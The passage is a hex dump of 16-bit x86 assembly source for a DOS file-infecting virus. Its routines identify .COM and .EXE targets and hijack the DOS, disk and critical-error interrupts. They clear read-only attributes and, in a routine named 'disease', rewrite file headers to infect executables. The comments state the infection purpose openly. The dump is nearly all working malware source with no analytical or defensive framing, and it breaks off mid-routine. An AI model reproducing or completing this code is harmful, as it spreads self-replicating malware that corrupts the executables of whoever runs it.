|00003380| 43 68 65 63 6b 73 20 77 | 68 65 74 68 65 72 20 74 |Checks w|hether t|
|00003390| 68 65 20 66 69 6c 65 20 | 69 73 20 2e 43 4f 4d 20 |he file |is .COM |
|000033a0| 6f 72 20 2e 45 58 45 2e | 0a 3b 20 49 74 20 69 73 |or .EXE.|.; It is|
|000033b0| 20 6e 6f 74 20 63 61 6c | 6c 65 64 20 75 70 6f 6e | not cal|led upon|
|000033c0| 20 66 69 6c 65 20 65 78 | 65 63 75 74 69 6f 6e 2e | file ex|ecution.|
|000033d0| 0a 20 0a 73 65 65 5f 6e | 61 6d 65 3a 0a 20 20 20 |. .see_n|ame:. |
|000033e0| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 61 78 0a | pus|h ax.|
|000033f0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00003400| 73 69 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |si. | mov |
|00003410| 20 20 20 73 69 2c 64 78 | 0a 73 63 61 6e 5f 6e 61 | si,dx|.scan_na|
|00003420| 6d 65 3a 0a 20 20 20 20 | 20 20 20 20 6c 6f 64 73 |me:. | lods|
|00003430| 62 0a 20 20 20 20 20 20 | 20 20 74 65 73 74 20 20 |b. | test |
|00003440| 20 20 61 6c 2c 61 6c 0a | 20 20 20 20 20 20 20 20 | al,al.| |
|00003450| 6a 7a 20 20 20 20 20 20 | 62 61 64 5f 6e 61 6d 65 |jz |bad_name|
|00003460| 0a 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |. | cmp |
|00003470| 20 61 6c 2c 27 2e 27 0a | 20 20 20 20 20 20 20 20 | al,'.'.| |
|00003480| 6a 6e 7a 20 20 20 20 20 | 73 63 61 6e 5f 6e 61 6d |jnz |scan_nam|
|00003490| 65 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |e. | call |
|000034a0| 20 20 67 65 74 5f 62 79 | 74 65 0a 20 20 20 20 20 | get_by|te. |
|000034b0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 61 6c | mov | ah,al|
|000034c0| 0a 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |. | call |
|000034d0| 20 67 65 74 5f 62 79 74 | 65 0a 20 20 20 20 20 20 | get_byt|e. |
|000034e0| 20 20 63 6d 70 20 20 20 | 20 20 61 78 2c 27 63 6f | cmp | ax,'co|
|000034f0| 27 0a 20 20 20 20 20 20 | 20 20 6a 7a 20 20 20 20 |'. | jz |
|00003500| 20 20 70 6f 73 5f 63 6f | 6d 0a 20 20 20 20 20 20 | pos_co|m. |
|00003510| 20 20 63 6d 70 20 20 20 | 20 20 61 78 2c 27 65 78 | cmp | ax,'ex|
|00003520| 27 0a 20 20 20 20 20 20 | 20 20 6a 6e 7a 20 20 20 |'. | jnz |
|00003530| 20 20 67 6f 6f 64 5f 6e | 61 6d 65 0a 20 20 20 20 | good_n|ame. |
|00003540| 20 20 20 20 63 61 6c 6c | 20 20 20 20 67 65 74 5f | call| get_|
|00003550| 62 79 74 65 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |byte. | cmp|
|00003560| 20 20 20 20 20 61 6c 2c | 27 65 27 0a 20 20 20 20 | al,|'e'. |
|00003570| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 73 68 6f 72 | jmp | shor|
|00003580| 74 20 67 6f 6f 64 5f 6e | 61 6d 65 0a 70 6f 73 5f |t good_n|ame.pos_|
|00003590| 63 6f 6d 3a 0a 20 20 20 | 20 20 20 20 20 63 61 6c |com:. | cal|
|000035a0| 6c 20 20 20 20 67 65 74 | 5f 62 79 74 65 0a 20 20 |l get|_byte. |
|000035b0| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 6c | cm|p al|
|000035c0| 2c 27 6d 27 0a 20 20 20 | 20 20 20 20 20 6a 6d 70 |,'m'. | jmp|
|000035d0| 20 20 20 20 20 73 68 6f | 72 74 20 67 6f 6f 64 5f | sho|rt good_|
|000035e0| 6e 61 6d 65 0a 62 61 64 | 5f 6e 61 6d 65 3a 0a 20 |name.bad|_name:. |
|000035f0| 20 20 20 20 20 20 20 69 | 6e 63 20 20 20 20 20 61 | i|nc a|
|00003600| 6c 0a 67 6f 6f 64 5f 6e | 61 6d 65 3a 0a 20 20 20 |l.good_n|ame:. |
|00003610| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 73 69 0a | pop| si.|
|00003620| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00003630| 61 78 0a 20 20 20 20 20 | 20 20 20 72 65 74 0a 20 |ax. | ret. |
|00003640| 0a 3b 20 43 6f 6e 76 65 | 72 74 73 20 69 6e 74 6f |.; Conve|rts into|
|00003650| 20 6c 6f 77 65 72 63 61 | 73 65 20 28 74 68 65 20 | lowerca|se (the |
|00003660| 73 75 62 72 6f 75 74 69 | 6e 65 73 20 61 72 65 20 |subrouti|nes are |
|00003670| 61 20 67 72 65 61 74 20 | 74 68 69 6e 67 29 2e 0a |a great |thing)..|
|00003680| 20 0a 67 65 74 5f 62 79 | 74 65 3a 0a 20 20 20 20 | .get_by|te:. |
|00003690| 20 20 20 20 6c 6f 64 73 | 62 0a 20 20 20 20 20 20 | lods|b. |
|000036a0| 20 20 63 6d 70 20 20 20 | 20 20 61 6c 2c 27 43 27 | cmp | al,'C'|
|000036b0| 0a 20 20 20 20 20 20 20 | 20 6a 63 20 20 20 20 20 |. | jc |
|000036c0| 20 62 79 74 65 5f 67 6f | 74 0a 20 20 20 20 20 20 | byte_go|t. |
|000036d0| 20 20 63 6d 70 20 20 20 | 20 20 61 6c 2c 27 59 27 | cmp | al,'Y'|
|000036e0| 0a 20 20 20 20 20 20 20 | 20 6a 6e 63 20 20 20 20 |. | jnc |
|000036f0| 20 62 79 74 65 5f 67 6f | 74 0a 20 20 20 20 20 20 | byte_go|t. |
|00003700| 20 20 61 64 64 20 20 20 | 20 20 61 6c 2c 32 30 68 | add | al,20h|
|00003710| 0a 62 79 74 65 5f 67 6f | 74 3a 0a 20 20 20 20 20 |.byte_go|t:. |
|00003720| 20 20 20 72 65 74 0a 20 | 0a 3b 20 43 61 6c 6c 73 | ret. |.; Calls|
|00003730| 20 74 68 65 20 6f 72 69 | 67 69 6e 61 6c 20 49 4e | the ori|ginal IN|
|00003740| 54 20 32 31 68 2e 0a 20 | 0a 66 75 6e 63 74 69 6f |T 21h.. |.functio|
|00003750| 6e 3a 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 66 |n:. | pushf|
|00003760| 0a 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |. | call |
|00003770| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 73 | dword p|tr cs:[s|
|00003780| 61 76 65 5f 69 6e 74 5f | 32 31 5d 0a 20 20 20 20 |ave_int_|21]. |
|00003790| 20 20 20 20 72 65 74 0a | 20 0a 3b 20 41 72 72 61 | ret.| .; Arra|
|000037a0| 6e 67 65 20 74 6f 20 69 | 6e 66 65 63 74 20 61 6e |nge to i|nfect an|
|000037b0| 20 65 78 65 63 75 74 61 | 62 6c 65 20 66 69 6c 65 | executa|ble file|
|000037c0| 2e 0a 20 0a 64 6f 5f 66 | 69 6c 65 3a 0a 20 20 20 |.. .do_f|ile:. |
|000037d0| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 64 73 20 | pus|h ds |
|000037e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000037f0| 20 20 20 20 20 3b 53 61 | 76 65 20 74 68 65 20 72 | ;Sa|ve the r|
|00003800| 65 67 69 73 74 65 72 73 | 20 69 6e 20 73 74 61 63 |egisters| in stac|
|00003810| 6b 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |k. | push |
|00003820| 20 20 65 73 0a 20 20 20 | 20 20 20 20 20 70 75 73 | es. | pus|
|00003830| 68 20 20 20 20 73 69 0a | 20 20 20 20 20 20 20 20 |h si.| |
|00003840| 70 75 73 68 20 20 20 20 | 64 69 0a 20 20 20 20 20 |push |di. |
|00003850| 20 20 20 70 75 73 68 20 | 20 20 20 61 78 0a 20 20 | push | ax. |
|00003860| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 62 78 | pu|sh bx|
|00003870| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00003880| 20 63 78 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 | cx. | push|
|00003890| 20 20 20 20 64 78 0a 20 | 20 20 20 20 20 20 20 6d | dx. | m|
|000038a0| 6f 76 20 20 20 20 20 73 | 69 2c 64 73 0a 20 20 20 |ov s|i,ds. |
|000038b0| 20 20 20 20 20 78 6f 72 | 20 20 20 20 20 61 78 2c | xor| ax,|
|000038c0| 61 78 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |ax. | mov |
|000038d0| 20 20 20 64 73 2c 61 78 | 0a 20 20 20 20 20 20 20 | ds,ax|. |
|000038e0| 20 6c 65 73 20 20 20 20 | 20 61 78 2c 64 73 3a 5b | les | ax,ds:[|
|000038f0| 32 34 68 2a 34 5d 20 20 | 20 20 20 20 20 20 20 20 |24h*4] | |
|00003900| 20 3b 53 61 76 65 73 20 | 49 4e 54 20 31 33 68 20 | ;Saves |INT 13h |
|00003910| 61 6e 64 20 49 4e 54 20 | 32 34 68 20 69 6e 20 0a |and INT |24h in .|
|00003920| 73 74 61 63 6b 0a 20 20 | 20 20 20 20 20 20 70 75 |stack. | pu|
|00003930| 73 68 20 20 20 20 65 73 | 20 20 20 20 20 20 20 20 |sh es| |
|00003940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 61 | | ;a|
|00003950| 6e 64 20 63 68 61 6e 67 | 65 73 20 74 68 65 6d 20 |nd chang|es them |
|00003960| 77 69 74 68 20 77 68 61 | 74 20 69 73 20 0a 6e 65 |with wha|t is .ne|
|00003970| 65 64 65 64 0a 20 20 20 | 20 20 20 20 20 70 75 73 |eded. | pus|
|00003980| 68 20 20 20 20 61 78 0a | 20 20 20 20 20 20 20 20 |h ax.| |
|00003990| 6d 6f 76 20 20 20 20 20 | 64 73 3a 5b 32 34 68 2a |mov |ds:[24h*|
|000039a0| 34 5d 2c 6f 66 66 73 65 | 74 20 69 6e 74 5f 32 34 |4],offse|t int_24|
|000039b0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|000039c0| 20 64 73 3a 5b 32 34 68 | 2a 34 2b 32 5d 2c 63 73 | ds:[24h|*4+2],cs|
|000039d0| 0a 20 20 20 20 20 20 20 | 20 6c 65 73 20 20 20 20 |. | les |
|000039e0| 20 61 78 2c 64 73 3a 5b | 31 33 68 2a 34 5d 0a 20 | ax,ds:[|13h*4]. |
|000039f0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 | m|ov w|
|00003a00| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 73 61 76 65 |ord ptr |cs:[save|
|00003a10| 5f 69 6e 74 5f 31 33 5d | 2c 61 78 0a 20 20 20 20 |_int_13]|,ax. |
|00003a20| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 77 6f 72 64 | mov | word|
|00003a30| 20 70 74 72 20 63 73 3a | 5b 73 61 76 65 5f 69 6e | ptr cs:|[save_in|
|00003a40| 74 5f 31 33 2b 32 5d 2c | 65 73 0a 20 20 20 20 20 |t_13+2],|es. |
|00003a50| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 3a 5b 31 | mov | ds:[1|
|00003a60| 33 68 2a 34 5d 2c 6f 66 | 66 73 65 74 20 69 6e 74 |3h*4],of|fset int|
|00003a70| 5f 31 33 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |_13. | mov |
|00003a80| 20 20 20 20 64 73 3a 5b | 31 33 68 2a 34 2b 32 5d | ds:[|13h*4+2]|
|00003a90| 2c 63 73 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 |,cs. | push|
|00003aa0| 20 20 20 20 65 73 0a 20 | 20 20 20 20 20 20 20 70 | es. | p|
|00003ab0| 75 73 68 20 20 20 20 61 | 78 0a 20 20 20 20 20 20 |ush a|x. |
|00003ac0| 20 20 6d 6f 76 20 20 20 | 20 20 64 73 2c 73 69 0a | mov | ds,si.|
|00003ad0| 20 20 20 20 20 20 20 20 | 78 6f 72 20 20 20 20 20 | |xor |
|00003ae0| 63 78 2c 63 78 20 20 20 | 20 20 20 20 20 20 20 20 |cx,cx | |
|00003af0| 20 20 20 20 20 20 20 20 | 3b 41 72 72 61 6e 67 65 | |;Arrange|
|00003b00| 73 20 74 6f 20 69 6e 66 | 65 63 74 20 52 65 61 64 |s to inf|ect Read|
|00003b10| 2d 6f 6e 6c 79 20 0a 66 | 69 6c 65 73 0a 20 20 20 |-only .f|iles. |
|00003b20| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|00003b30| 34 33 30 30 68 0a 20 20 | 20 20 20 20 20 20 63 61 |4300h. | ca|
|00003b40| 6c 6c 20 20 20 20 66 75 | 6e 63 74 69 6f 6e 0a 20 |ll fu|nction. |
|00003b50| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 62 | m|ov b|
|00003b60| 78 2c 63 78 0a 20 20 20 | 20 20 20 20 20 61 6e 64 |x,cx. | and|
|00003b70| 20 20 20 20 20 63 6c 2c | 30 66 65 68 0a 20 20 20 | cl,|0feh. |
|00003b80| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 63 6c 2c | cmp| cl,|
|00003b90| 62 6c 0a 20 20 20 20 20 | 20 20 20 6a 65 20 20 20 |bl. | je |
|00003ba0| 20 20 20 64 6f 6e 74 5f | 63 68 61 6e 67 65 0a 20 | dont_|change. |
|00003bb0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00003bc0| 78 2c 34 33 30 31 68 0a | 20 20 20 20 20 20 20 20 |x,4301h.| |
|00003bd0| 63 61 6c 6c 20 20 20 20 | 66 75 6e 63 74 69 6f 6e |call |function|
|00003be0| 0a 20 20 20 20 20 20 20 | 20 73 74 63 0a 64 6f 6e |. | stc.don|
|00003bf0| 74 5f 63 68 61 6e 67 65 | 3a 0a 20 20 20 20 20 20 |t_change|:. |
|00003c00| 20 20 70 75 73 68 66 0a | 20 20 20 20 20 20 20 20 | pushf.| |
|00003c10| 70 75 73 68 20 20 20 20 | 64 73 0a 20 20 20 20 20 |push |ds. |
|00003c20| 20 20 20 70 75 73 68 20 | 20 20 20 64 78 0a 20 20 | push | dx. |
|00003c30| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 62 78 | pu|sh bx|
|00003c40| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00003c50| 20 61 78 2c 33 64 30 32 | 68 20 20 20 20 20 20 20 | ax,3d02|h |
|00003c60| 20 20 20 20 20 20 20 20 | 20 3b 4e 6f 77 20 77 65 | | ;Now we|
|00003c70| 20 63 61 6e 20 73 61 66 | 65 6c 79 20 6f 70 65 6e | can saf|ely open|
|00003c80| 20 74 68 65 20 66 69 6c | 65 0a 20 20 20 20 20 20 | the fil|e. |
|00003c90| 20 20 63 61 6c 6c 20 20 | 20 20 66 75 6e 63 74 69 | call | functi|
|00003ca0| 6f 6e 0a 20 20 20 20 20 | 20 20 20 6a 63 20 20 20 |on. | jc |
|00003cb0| 20 20 20 63 61 6e 74 5f | 6f 70 65 6e 0a 20 20 20 | cant_|open. |
|00003cc0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 62 78 2c | mov| bx,|
|00003cd0| 61 78 0a 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |ax. | call |
|00003ce0| 20 20 20 64 69 73 65 61 | 73 65 0a 20 20 20 20 20 | disea|se. |
|00003cf0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 33 65 | mov | ah,3e|
|00003d00| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00003d10| 20 20 20 3b 43 6c 6f 73 | 65 20 69 74 0a 0a 20 20 | ;Clos|e it.. |
|00003d20| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 66 75 | ca|ll fu|
|00003d30| 6e 63 74 69 6f 6e 0a 63 | 61 6e 74 5f 6f 70 65 6e |nction.c|ant_open|
|00003d40| 3a 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |:. | pop |
|00003d50| 20 20 63 78 0a 20 20 20 | 20 20 20 20 20 70 6f 70 | cx. | pop|
|00003d60| 20 20 20 20 20 64 78 0a | 20 20 20 20 20 20 20 20 | dx.| |
|00003d70| 70 6f 70 20 20 20 20 20 | 64 73 0a 20 20 20 20 20 |pop |ds. |
|00003d80| 20 20 20 70 6f 70 66 0a | 20 20 20 20 20 20 20 20 | popf.| |
|00003d90| 6a 6e 63 20 20 20 20 20 | 6e 6f 5f 75 70 64 61 74 |jnc |no_updat|
|00003da0| 65 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |e. | mov |
|00003db0| 20 20 61 78 2c 34 33 30 | 31 68 20 20 20 20 20 20 | ax,430|1h |
|00003dc0| 20 20 20 20 20 20 20 20 | 20 20 3b 52 65 73 74 6f | | ;Resto|
|00003dd0| 72 65 73 20 66 69 6c 65 | 27 73 20 61 74 74 72 69 |res file|'s attri|
|00003de0| 62 75 74 65 73 0a 20 20 | 20 20 20 20 20 20 63 61 |butes. | ca|
|00003df0| 6c 6c 20 20 20 20 66 75 | 6e 63 74 69 6f 6e 20 20 |ll fu|nction |
|00003e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 69 | | ;i|
|00003e10| 66 20 74 68 65 79 20 77 | 65 72 65 20 63 68 61 6e |f they w|ere chan|
|00003e20| 67 65 64 20 28 6a 75 73 | 74 20 69 6e 20 0a 63 61 |ged (jus|t in .ca|
|00003e30| 73 65 29 0a 6e 6f 5f 75 | 70 64 61 74 65 3a 0a 20 |se).no_u|pdate:. |
|00003e40| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 61 | x|or a|
|00003e50| 78 2c 61 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |x,ax | |
|00003e60| 20 20 20 20 20 20 20 3b | 52 65 73 74 6f 72 65 73 | ;|Restores|
|00003e70| 20 49 4e 54 20 31 33 68 | 20 61 6e 64 20 49 4e 54 | INT 13h| and INT|
|00003e80| 20 32 34 68 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 | 24h. | mov|
|00003e90| 20 20 20 20 20 64 73 2c | 61 78 0a 20 20 20 20 20 | ds,|ax. |
|00003ea0| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 3a 5b 31 | pop | ds:[1|
|00003eb0| 33 68 2a 34 5d 0a 20 20 | 20 20 20 20 20 20 70 6f |3h*4]. | po|
|00003ec0| 70 20 20 20 20 20 64 73 | 3a 5b 31 33 68 2a 34 2b |p ds|:[13h*4+|
|00003ed0| 32 5d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |2]. | pop |
|00003ee0| 20 20 20 64 73 3a 5b 32 | 34 68 2a 34 5d 0a 20 20 | ds:[2|4h*4]. |
|00003ef0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 | po|p ds|
|00003f00| 3a 5b 32 34 68 2a 34 2b | 32 5d 0a 20 20 20 20 20 |:[24h*4+|2]. |
|00003f10| 20 20 20 70 6f 70 20 20 | 20 20 20 64 78 20 20 20 | pop | dx |
|00003f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003f30| 20 20 20 3b 52 65 67 69 | 73 74 65 72 20 72 65 73 | ;Regi|ster res|
|00003f40| 74 6f 72 61 74 69 6f 6e | 0a 20 20 20 20 20 20 20 |toration|. |
|00003f50| 20 70 6f 70 20 20 20 20 | 20 63 78 0a 20 20 20 20 | pop | cx. |
|00003f60| 20 20 20 20 70 6f 70 20 | 20 20 20 20 62 78 0a 20 | pop | bx. |
|00003f70| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 61 | p|op a|
|00003f80| 78 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |x. | pop |
|00003f90| 20 20 64 69 0a 20 20 20 | 20 20 20 20 20 70 6f 70 | di. | pop|
|00003fa0| 20 20 20 20 20 73 69 0a | 20 20 20 20 20 20 20 20 | si.| |
|00003fb0| 70 6f 70 20 20 20 20 20 | 65 73 0a 20 20 20 20 20 |pop |es. |
|00003fc0| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 0a 20 20 | pop | ds. |
|00003fd0| 20 20 20 20 20 20 72 65 | 74 0a 20 0a 3b 20 54 68 | re|t. .; Th|
|00003fe0| 69 73 20 72 6f 75 74 69 | 6e 65 20 69 73 20 74 68 |is routi|ne is th|
|00003ff0| 65 20 77 6f 72 6b 69 6e | 67 20 68 6f 72 73 65 2e |e workin|g horse.|
|00004000| 0a 20 0a 64 69 73 65 61 | 73 65 3a 0a 20 20 20 20 |. .disea|se:. |
|00004010| 20 20 20 20 70 75 73 68 | 20 20 20 20 63 73 0a 20 | push| cs. |
|00004020| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00004030| 73 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |s. | push |
|00004040| 20 20 63 73 0a 20 20 20 | 20 20 20 20 20 70 6f 70 | cs. | pop|
|00004050| 20 20 20 20 20 65 73 0a | 20 20 20 20 20 20 20 20 | es.| |
|00004060| 6d 6f 76 20 20 20 20 20 | 64 78 2c 6f 66 66 73 65 |mov |dx,offse|
|00004070| 74 20 74 6f 70 5f 73 61 | 76 65 20 20 20 20 20 20 |t top_sa|ve |
|00004080| 3b 52 65 61 64 20 74 68 | 65 20 66 69 6c 65 20 62 |;Read th|e file b|
|00004090| 65 67 69 6e 6e 69 6e 67 | 0a 20 20 20 20 20 20 20 |eginning|. |
|000040a0| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 31 38 68 0a | mov | cx,18h.|
|000040b0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000040c0| 61 68 2c 33 66 68 0a 20 | 20 20 20 20 20 20 20 69 |ah,3fh. | i|
|000040d0| 6e 74 20 20 20 20 20 32 | 31 68 0a 20 20 20 20 20 |nt 2|1h. |
|000040e0| 20 20 20 78 6f 72 20 20 | 20 20 20 63 78 2c 63 78 | xor | cx,cx|
|000040f0| 0a 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 |. | xor |
|00004100| 20 64 78 2c 64 78 0a 20 | 20 20 20 20 20 20 20 6d | dx,dx. | m|
|00004110| 6f 76 20 20 20 20 20 61 | 78 2c 34 32 30 32 68 20 |ov a|x,4202h |
|00004120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00004130| 53 61 76 65 20 66 69 6c | 65 20 6c 65 6e 67 74 68 |Save fil|e length|
|00004140| 0a 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |. | int |
|00004150| 20 32 31 68 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 | 21h. | mov|
|00004160| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 74 | wor|d ptr [t|
|00004170| 6f 70 5f 73 61 76 65 2b | 31 61 68 5d 2c 64 78 0a |op_save+|1ah],dx.|
|00004180| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|00004190| 61 78 2c 6f 66 66 73 65 | 74 20 6d 79 5f 73 69 7a |ax,offse|t my_siz|
|000041a0| 65 20 20 20 20 20 20 20 | 3b 54 68 69 73 20 73 68 |e |;This sh|
|000041b0| 6f 75 6c 64 20 62 65 20 | 74 6f 70 5f 66 69 6c 65 |ould be |top_file|
|000041c0| 0a 20 20 20 20 20 20 20 | 20 73 62 62 20 20 20 20 |. | sbb |
|000041d0| 20 64 78 2c 30 0a 20 20 | 20 20 20 20 20 20 6a 63 | dx,0. | jc|
|000041e0| 20 20 20 20 20 20 73 74 | 6f 70 5f 66 75 63 6b 5f | st|op_fuck_|
|000041f0| 32 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 53 |2 | ;S|
|00004200| 6d 61 6c 6c 20 66 69 6c | 65 73 20 61 72 65 20 6e |mall fil|es are n|
|00004210| 6f 74 20 69 6e 66 65 63 | 74 65 64 0a 20 20 20 20 |ot infec|ted. |
|00004220| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 77 6f 72 64 | mov | word|
|00004230| 20 70 74 72 20 5b 74 6f | 70 5f 73 61 76 65 2b 31 | ptr [to|p_save+1|
|00004240| 38 68 5d 2c 61 78 0a 20 | 20 20 20 20 20 20 20 63 |8h],ax. | c|
|00004250| 6d 70 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |mp w|ord ptr |
|00004260| 5b 74 6f 70 5f 73 61 76 | 65 5d 2c 35 61 34 64 68 |[top_sav|e],5a4dh|
|00004270| 0a 20 20 20 20 20 20 20 | 20 6a 6e 65 20 20 20 20 |. | jne |
|00004280| 20 63 6f 6d 5f 66 69 6c | 65 0a 20 20 20 20 20 20 | com_fil|e. |
|00004290| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 77 6f 72 | mov | ax,wor|
|000042a0| 64 20 70 74 72 20 5b 74 | 6f 70 5f 73 61 76 65 2b |d ptr [t|op_save+|
|000042b0| 38 5d 0a 20 20 20 20 20 | 20 20 20 61 64 64 20 20 |8]. | add |
|000042c0| 20 20 20 61 78 2c 77 6f | 72 64 20 70 74 72 20 5b | ax,wo|rd ptr [|
|000042d0| 74 6f 70 5f 73 61 76 65 | 2b 31 36 68 5d 0a 20 20 |top_save|+16h]. |
|000042e0| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 6d 75 | ca|ll mu|
|000042f0| 6c 5f 31 36 0a 20 20 20 | 20 20 20 20 20 61 64 64 |l_16. | add|
|00004300| 20 20 20 20 20 61 78 2c | 77 6f 72 64 20 70 74 72 | ax,|word ptr|
|00004310| 20 5b 74 6f 70 5f 73 61 | 76 65 2b 31 34 68 5d 0a | [top_sa|ve+14h].|
|00004320| 20 20 20 20 20 20 20 20 | 61 64 63 20 20 20 20 20 | |adc |
|00004330| 64 78 2c 30 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |dx,0. | mov|
|00004340| 20 20 20 20 20 63 78 2c | 64 78 0a 20 20 20 20 20 | cx,|dx. |
|00004350| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 78 2c 61 78 | mov | dx,ax|
|00004360| 0a 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 20 |. | jmp |
|00004370| 20 73 68 6f 72 74 20 73 | 65 65 5f 73 69 63 6b 0a | short s|ee_sick.|
|00004380| 63 6f 6d 5f 66 69 6c 65 | 3a 0a 20 20 20 20 20 20 |com_file|:. |
|00004390| 20 20 63 6d 70 20 20 20 | 20 20 62 79 74 65 20 70 | cmp | byte p|
|000043a0| 74 72 20 5b 74 6f 70 5f | 73 61 76 65 5d 2c 30 65 |tr [top_|save],0e|
|000043b0| 39 68 0a 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 |9h. | jne |
|000043c0| 20 20 20 73 65 65 5f 66 | 75 63 6b 0a 20 20 20 20 | see_f|uck. |
|000043d0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 77 | mov | dx,w|
|000043e0| 6f 72 64 20 70 74 72 20 | 5b 74 6f 70 5f 73 61 76 |ord ptr |[top_sav|
|000043f0| 65 2b 31 5d 0a 20 20 20 | 20 20 20 20 20 61 64 64 |e+1]. | add|
|00004400| 20 20 20 20 20 64 78 2c | 31 30 33 68 0a 20 20 20 | dx,|103h. |
|00004410| 20 20 20 20 20 6a 63 20 | 20 20 20 20 20 73 65 65 | jc | see|
|00004420| 5f 66 75 63 6b 0a 20 20 | 20 20 20 20 20 20 64 65 |_fuck. | de|
|00004430| 63 20 20 20 20 20 64 68 | 0a 20 20 20 20 20 20 20 |c dh|. |
|00004440| 20 78 6f 72 20 20 20 20 | 20 63 78 2c 63 78 0a 20 | xor | cx,cx. |
|00004450| 0a 3b 20 43 68 65 63 6b | 20 69 66 20 74 68 65 20 |.; Check| if the |
|00004460| 66 69 6c 65 20 69 73 20 | 70 72 6f 70 65 72 6c 79 |file is |properly|
|00004470| 20 69 6e 66 65 63 74 65 | 64 0a 0a 20 0a 73 65 65 | infecte|d.. .see|
|00004480| 5f 73 69 63 6b 3a 0a 20 | 20 20 20 20 20 20 20 73 |_sick:. | s|
|00004490| 75 62 20 20 20 20 20 64 | 78 2c 73 74 61 72 74 75 |ub d|x,startu|
|000044a0| 70 2d 63 6f 70 79 72 69 | 67 68 74 0a 20 20 20 20 |p-copyri|ght. |
|000044b0| 20 20 20 20 73 62 62 20 | 20 20 20 20 63 78 2c 30 | sbb | cx,0|
|000044c0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|000044d0| 20 61 78 2c 34 32 30 30 | 68 0a 20 20 20 20 20 20 | ax,4200|h. |
|000044e0| 20 20 69 6e 74 20 20 20 | 20 20 32 31 68 0a 20 20 | int | 21h. |
|000044f0| 20 20 20 20 20 20 61 64 | 64 20 20 20 20 20 61 78 | ad|d ax|
|00004500| 2c 6f 66 66 73 65 74 20 | 74 6f 70 5f 66 69 6c 65 |,offset |top_file|
|00004510| 0a 20 20 20 20 20 20 20 | 20 61 64 63 20 20 20 20 |. | adc |
